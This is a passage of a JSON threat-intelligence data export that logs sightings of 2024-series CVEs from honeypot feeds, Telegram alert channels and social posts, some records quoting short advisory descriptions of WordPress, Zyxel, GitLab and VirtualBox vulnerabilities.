"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-01)", "content": "", "creation_timestamp": "2026-04-01T00:00:00.000000Z"}, {"uuid": "93739d60-647d-4026-831c-f9ce50dbb5b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "04a06db6-3c07-4238-a5e5-bdaa7173e0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "596051e0-336a-4df6-9899-d98e1b749d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mimmlfjlkl22", "content": "", "creation_timestamp": "2026-04-03T21:02:35.395310Z"}, {"uuid": "d52254e7-46c2-4462-ba35-2418f52a0088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-03)", "content": "", "creation_timestamp": "2026-04-03T00:00:00.000000Z"}, {"uuid": "865092cb-f454-4db3-8043-abf0f12ada5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3miogaw2zts22", "content": "", "creation_timestamp": "2026-04-04T14:14:41.812524Z"}, {"uuid": "f1c34a35-a142-493e-af20-4f7bebb469c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-04)", "content": "", "creation_timestamp": "2026-04-04T00:00:00.000000Z"}, {"uuid": "e607aef1-2792-45d4-b2b0-036d306107d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-04)", "content": "", "creation_timestamp": "2026-04-04T00:00:00.000000Z"}, {"uuid": "ff00f81d-c9bf-40bb-8492-be003e3c28ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-05)", "content": "", "creation_timestamp": "2026-04-05T00:00:00.000000Z"}, {"uuid": "9ce9a056-2726-4cff-9d9d-75385813071b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1217", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13239", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1217\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L)\n\ud83d\udd39 Description: The Contact Form builder with drag & drop for WordPress \u2013 Kali Forms plugin for WordPress is vulnerable to unauthorized plugin deactivation due to a missing capability check on the await_plugin_deactivation function in all versions up to, and including, 2.3.41. This makes it possible for authenticated attackers, with subscriber access or higher, to deactivate any active plugins.\n\ud83d\udccf Published: 2024-02-20T18:56:35.250Z\n\ud83d\udccf Modified: 2025-04-24T15:03:23.203Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7be75b0a-737d-4f0d-b024-e207af4573cd?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3036466/kali-forms/trunk?contextall=1&old=3029334&old_path=%2Fkali-forms%2Ftrunk", "creation_timestamp": "2025-04-24T15:06:27.000000Z"}, {"uuid": "5fd743b3-b514-42af-85b6-12c71164f468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "published-proof-of-concept", "source": "Telegram/-SheSx5ksKpdA3MDPZPaYuWsFtJr9IdvewaeEwjO0RnecSM", "content": "", "creation_timestamp": "2025-12-05T09:00:05.000000Z"}, {"uuid": "348e8ab7-597d-4d66-9bdc-039202f70bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12227", "type": "published-proof-of-concept", "source": "Telegram/OHr82OtRsE7SrX-5JX0BTKOCwGseELWPcAGkyhObfyZN6dU", "content": "", "creation_timestamp": "2025-12-14T15:00:08.000000Z"}, {"uuid": "d04b7342-2018-44c6-af55-a523df7721f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-06)", "content": "", "creation_timestamp": "2026-04-06T00:00:00.000000Z"}, {"uuid": "92b80eef-f30f-42db-82e6-f148309e8c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-06)", "content": "", "creation_timestamp": "2026-04-06T00:00:00.000000Z"}, {"uuid": "bea8d2cf-779e-4f3b-a4c0-72505a51ecc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/Du0MdwVxk-m_a0lPRgOSkwKDcmvhNbHj6kmNSaYCuL7u0_A", "content": "", "creation_timestamp": "2025-11-24T21:00:05.000000Z"}, {"uuid": "5021d739-8c90-4c2b-a780-899cb406a549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1243", "type": "published-proof-of-concept", "source": "Telegram/P3uzVteJIOiG3Gg-zKek4C3h9lNxS0xZPtAdcuiBiGsp_Ws", "content": "", "creation_timestamp": "2025-06-11T11:03:44.000000Z"}, {"uuid": "9524ee1a-89a7-4cc6-ae1d-26f41de5c9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-07)", "content": "", "creation_timestamp": "2026-04-07T00:00:00.000000Z"}, {"uuid": "b02f1053-ebcf-4763-96d1-d11bf4054c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12380", "type": "seen", "source": "https://t.me/cvedetector/20200", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12380 - GitLab Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12380 \nPublished : March 13, 2025, 6:15 a.m. | 1\u00a0hour, 20\u00a0minutes ago \nDescription : An issue was discovered in GitLab EE/CE affecting all versions starting from 11.5 before 17.7.7, all versions starting from 17.8 before 17.8.5, all versions starting from 17.9 before 17.9.2. Certain user inputs in repository mirroring settings could potentially expose sensitive authentication information. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T08:55:51.000000Z"}, {"uuid": "e35cda9b-024f-4ea3-b127-1d8b2ee25490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-08)", "content": "", "creation_timestamp": "2026-04-08T00:00:00.000000Z"}, {"uuid": "9ba76dbe-657b-4b1f-bbb3-ded11bd055a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-08)", "content": "", "creation_timestamp": "2026-04-08T00:00:00.000000Z"}, {"uuid": "eff94ee1-2e03-4673-b421-54a409053b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "Telegram/5hND7R2w0kC3XleZJEnXoTUt0Lobi47ifkL0LXMwVPLDDpOF", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "64301cc1-8103-4a46-9406-ed9aa052dbf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-09)", "content": "", "creation_timestamp": "2026-04-09T00:00:00.000000Z"}, {"uuid": "6ec54706-3d74-4f92-895e-f0f26aed72a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-09)", "content": "", "creation_timestamp": "2026-04-09T00:00:00.000000Z"}, {"uuid": "7ad7d217-0be3-40e5-8837-fefe944e463f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "1cd0f4e7-37fa-46f7-af71-39eb17570c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "c80d15d5-0fe6-4482-bf00-93cd34bbb30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-11)", "content": "", "creation_timestamp": "2026-04-11T00:00:00.000000Z"}, {"uuid": "2542b044-507d-450b-be9c-7285c066dbc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-11)", "content": "", "creation_timestamp": "2026-04-11T00:00:00.000000Z"}, {"uuid": "5ea42494-683e-4f5b-b956-e07633efac2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12010", "type": "seen", "source": "https://t.me/cvedetector/20029", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12010 - Zyxel AX7501-B1 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12010 \nPublished : March 11, 2025, 2:15 a.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A post-authentication command injection vulnerability in the \u201dzyUtilMailSend\u201d function of the Zyxel\u00a0AX7501-B1 firmware version\u00a0V5.17(ABPC.5.3)C0 and earlier could allow an authenticated attacker with administrator privileges to execute operating system (OS) commands on a vulnerable device. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T05:05:02.000000Z"}, {"uuid": "e0673db1-d496-40fa-9243-6a091a1aef40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12009", "type": "seen", "source": "https://t.me/cvedetector/20028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12009 - Zyxel EX5601-T1 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12009 \nPublished : March 11, 2025, 2:15 a.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A post-authentication command injection vulnerability in the \"ZyEE\" function of the Zyxel EX5601-T1 firmware version V5.70(ACDZ.3.6)C0 and earlier could allow an authenticated attacker with administrator privileges to execute operating system (OS) commands on a vulnerable device. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T05:05:02.000000Z"}, {"uuid": "4d605f4b-b44b-44fc-a2a0-de043fcd6219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-12)", "content": "", "creation_timestamp": "2026-04-12T00:00:00.000000Z"}, {"uuid": "eb06d878-8159-49f2-a1f8-5790df2b4478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-12)", "content": "", "creation_timestamp": "2026-04-12T00:00:00.000000Z"}, {"uuid": "233cd77f-182b-4539-948c-c63dd8219275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12023", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14431", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12023\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The FULL \u2013 Cliente plugin for WordPress is vulnerable to SQL Injection via the 'formId' parameter in all versions 3.1.5 to 3.1.25 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the PRO version of the plugin is activated, along with Elementor Pro and  Elementor CRM.\n\ud83d\udccf Published: 2025-05-02T03:21:19.928Z\n\ud83d\udccf Modified: 2025-05-02T03:21:19.928Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/86e990ae-6bfe-4f2b-8c37-b0675430a638?source=cve\n2. https://plugins.trac.wordpress.org/browser/full-customer/tags/3.1.26/app/controller/elementor-crm/Hooks.php#L181\n3. https://plugins.trac.wordpress.org/browser/full-customer/tags/3.1.25/app/controller/elementor-crm/Hooks.php#L181", "creation_timestamp": "2025-05-02T04:15:43.000000Z"}, {"uuid": "43c50fa1-2788-48ef-a153-c19cb2793148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-13)", "content": "", "creation_timestamp": "2026-04-13T00:00:00.000000Z"}, {"uuid": "a03731ae-a816-4ea1-a174-67b3b17a017e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://t.me/cvedetector/19974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12604 - Tapandsign Technologies Tap&Sign App Cleartext Storage Vulnerability and Weak Password Recovery\", \n  \"Content\": \"CVE ID : CVE-2024-12604 \nPublished : March 10, 2025, 3:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : Cleartext Storage of Sensitive Information in an Environment Variable, Weak Password Recovery Mechanism for Forgotten Password vulnerability in Tapandsign Technologies Tap&Sign App allows Password Recovery Exploitation, Functionality Misuse.This issue affects Tap&Sign App: before V.1.025. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-10T19:02:44.000000Z"}, {"uuid": "8867edf3-2b4c-41a0-8256-38f43f5aabcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-13)", "content": "", "creation_timestamp": "2026-04-13T00:00:00.000000Z"}, {"uuid": "275e84d1-ee58-43d7-a71d-56c352b4eb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://t.me/cvedetector/19820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12876 - Golo City Travel Guide WordPress Theme Password Reset Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12876 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The Golo - City Travel Guide WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.10. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:26:39.000000Z"}, {"uuid": "97afbe47-181a-48e3-99c5-751576d69df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "https://t.me/cvedetector/19819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12610 - \"WordPress School Management System Unauthenticated Post Deletion Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12610 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The School Management System for Wordpress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'mj_smgt_remove_feetype' and 'mj_smgt_remove_category_new' AJAX actions in all versions up to, and including, 93.0.0. This makes it possible for unauthenticated attackers to delete arbitrary posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:25:59.000000Z"}, {"uuid": "535437d8-c1bd-4096-b49f-3d0d4689bdfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12611", "type": "seen", "source": "https://t.me/cvedetector/19818", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12611 - WordPress School Management System Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12611 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The School Management System for Wordpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 93.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:25:58.000000Z"}, {"uuid": "ca7283f4-28d2-4161-be2a-941cd6f43264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "https://t.me/cvedetector/19799", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12809 - WordPress Wishlist Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12809 \nPublished : March 7, 2025, 7:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wishlist_button' shortcode in all versions up to, and including, 1.0.43 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:24.000000Z"}, {"uuid": "7fbe5d82-4957-4be4-abac-b34a2be5745d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "https://t.me/cvedetector/19793", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12837 - Oracle VirtualBox GPU Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12837 \nPublished : March 7, 2025, 8:15 a.m. | 46\u00a0minutes ago \nDescription : Software installed and run as a non-privileged user may conduct improper GPU system calls to corrupt kernel heap memory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:13.000000Z"}, {"uuid": "6c4c8894-3d4b-4b37-8f76-bb838543fa40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-14)", "content": "", "creation_timestamp": "2026-04-14T00:00:00.000000Z"}, {"uuid": "092a1f8c-c71e-457e-a303-a09a119fbb74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/allan-gar2x/1de8a0db406b1b36cdc364fa96d2c93b", "content": "", "creation_timestamp": "2026-04-15T10:12:38.000000Z"}, {"uuid": "ba562bf4-223c-42d1-8495-e313d3e25a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-14)", "content": "", "creation_timestamp": "2026-04-14T00:00:00.000000Z"}, {"uuid": "814aabd0-ed05-4ec6-a174-e4926acffa99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/allan-gar2x/9fba3a5260416b87679023ab2384d446", "content": "", "creation_timestamp": "2026-04-15T10:38:50.000000Z"}, {"uuid": "e1819773-3f05-4d11-9738-c9c25fd0e9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-15)", "content": "", "creation_timestamp": "2026-04-15T00:00:00.000000Z"}, {"uuid": "6656d546-e4df-4271-b8f4-384cdda03ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12282", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17064", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12282\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WordPress\u8fde\u63a5\u5fae\u535a WordPress plugin through 2.5.6 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.\n\ud83d\udccf Published: 2025-05-15T20:06:52.549Z\n\ud83d\udccf Modified: 2025-05-20T19:33:10.397Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/2d81f038-e2bb-4906-a954-78dc971ed793/", "creation_timestamp": "2025-05-20T19:43:03.000000Z"}, {"uuid": "80b1fa91-181b-4ed9-ae99-51c7ddc54eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-15)", "content": "", "creation_timestamp": "2026-04-15T00:00:00.000000Z"}, {"uuid": "00968e93-140f-4518-a44e-c14a3d389e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "https://t.me/cvedetector/19887", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12114 - FooGallery WordPress Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12114 \nPublished : March 8, 2025, 6:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.29 via the foogallery_attachment_modal_save AJAX action due to missing validation on a user controlled key (img_id). This makes it possible for authenticated attackers, with granted access and above, to update arbitrary post and page content. This requires the Gallery Creator Role setting to be a value lower than 'Editor' for there to be any real impact. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T09:20:13.000000Z"}, {"uuid": 